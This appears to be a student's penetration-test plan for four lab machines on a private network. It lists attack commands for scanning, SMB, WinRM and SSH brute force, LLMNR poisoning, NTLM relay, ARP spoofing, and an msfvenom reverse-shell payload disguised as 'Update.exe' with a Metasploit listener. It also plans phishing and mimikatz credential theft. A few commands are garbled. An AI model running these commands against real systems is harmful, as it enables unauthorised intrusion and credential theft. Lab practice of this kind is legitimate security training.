Attack Narrative

*ZHENGZHENG LI*

# SYSTEM 1 Windows Server 2022 (Evaluation)

**IP Address:** 192.168.2.102

**Services Installed:** File and Storage Services (SMB), WinRM

**Pentest tasks:**

1. ****Initial Reconnaissance****

**nmap -sV -sC -O 192.168.2.102** - Detailed service scanning and OS detection

**nmap --script vuln 192.168.2.102** - Vulnerability scanning

****2、SMB Service Testing****

**enum4linux -a 192.168.2.102** - SMB enumeration

**smbclient -L //192.168.2.102 -N** - Anonymous SMB share listing

**crackmapexec smb 192.168.2.102** - SMB brute force and command execution testing

**nmap --script smb-brute 192.168.2.102** - SMB brute force attack

****3、WinRM Service Testing****

**evil-winrm -i 192.168.2.102 -u [username] -p [password]** - WinRM connection attempts

**crackmapexec winrm 192.168.2.102 -u [username] -p [password]** - WinRM brute force attack

****4、Network Sniffing & MITM Attacks****

**responder -I eth0 -w -d** - LLMNR/NBT-NS/mDNS poisoning

**python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py -tf targets.txt -smb2support --dump-hashes** - SMB relay attacks

# System 2 Fedora 41 (Workstation Live)

**IP Address:** 192.168.2.105

**Services Installed:** systemd-resolved (DNS resolver), LLMNR

**Pentest tasks:**

****1、Initial Reconnaissance****

**nmap -sV -sC -O 192.168.2.105** - Detailed service scanning

**masscan -p1-65535 192.168.2.105 --rate=1000** - Rapid port scanning

****2、DNS Service Testing****

**dig @192.168.2.105 example.com ANY** - DNS query testing

**dnsrecon -d example.com -n 192.168.2.105** - DNS enumeration

**dnsenum 192.168.2.105** - DNS subdomain and zone transfer enumeration

****3、LLMNR Service Testing****

**responder -I eth0 -w -d -v -F-** LLMNR poisoning

****4、SELinux Bypass Attempts****

**linpeas.sh** - Linux privilege escalation enumeration script

# System 3 Ubuntu 24.04.2 LTS (Server)

**IP Address:** **192.168.2.103**

**Services Installed:** OpenSSH (TCP/22)

**Pentest tasks:**

****1、SSH Service Testing****

**nmap -sV -sC -p 22 192.168.2.103** - Detailed SSH service scanning

**ssh-audit 192.168.2.103** - SSH configuration security audit

**nmap --script ssh2-enum-algos 192.168.2.103** - SSH algorithm enumeration

****2、SSH Brute Force Attacks****

**ncrack -v -U user\_list.txt -P passwords.txt ssh://192.168.2.103:22**- SSH password brute force

**patator ssh\_login host=192.168.2.103 user=FILE0 password=FILE1 0=user\_list.txt 1=passwords.txt -x ignore:mesg='Authentication failed.'** - Alternative SSH brute force tool

****3、SSH Key Testing****

**ssh-keyscan 192.168.2.103** - Collect SSH host keys

Test known weak SSH keys or default keys

****4、Security Update Analysis****

**nmap --script vuln 192.168.2.103** - Check for unpatched vulnerabilities

Check Ubuntu security advisories against system version

# System 4 Windows 10 (Client VM)

**IP Address:** 192.168.2.108

**Services Installed:** Core Windows client services. No network-facing services are exposed.

**Pentest tasks:**

****1、Initial Reconnaissance****

**nmap -sV -sC -O 192.168.2.108** - Detailed service scanning

Confirm no open ports

****2、Client-Side Attack Preparation****

**msfvenom -p windows/x64/meterpreter/reverse\_https LHOST=192.168.2.107 LPORT=4444 -f exe -o Update.exe**  -Create malicious documents with reverse shell payloads

**msfconsole**

**use exploit/multi/handlerset**

**set PAYLOAD windows/x64/meterpreter/reverse\_https**

**set LHOST 0.0.0.0.**

**set LPORT 4444**

**exploit -j**

-Set up Metasploit listeners to receive connections

****3、Phishing Simulation****

Send malicious documents via email

Simulate waterhole attacks by setting up malicious websites

****4、Lateral Movement Preparation****

If access is gained, use **mimikatz** to extract credentials

Use **bloodhound** for Active Directory enumeration (if domain-joined)

Use **crackmapexec** for lateral movement testing

# Network-Level Attacks

****1、Network Reconnaissance****

**nmap -sn 192.168.2.0/24** - Network host discovery

**netdiscover -i eth0 -r 192.168.2.0/24** - ARP network discovery

****2、Man-in-the-Middle Attacks****

**ettercap -T -M arp:remote /192.168.2.1// /192.168.2.102//** - ARP poisoning

**sslstrip** - SSL stripping attacks

**wireshark** - Network traffic analysis

****3、Password Sniffing****

**ettercap -T -q -l /root/capture.pcap -L /root/ettercap-log** - Password sniffing sessions

**hydra -l testuser -P passwords.txt -e nsr -t 4 ssh://192.168.2.103** - Attempt login using captured credentials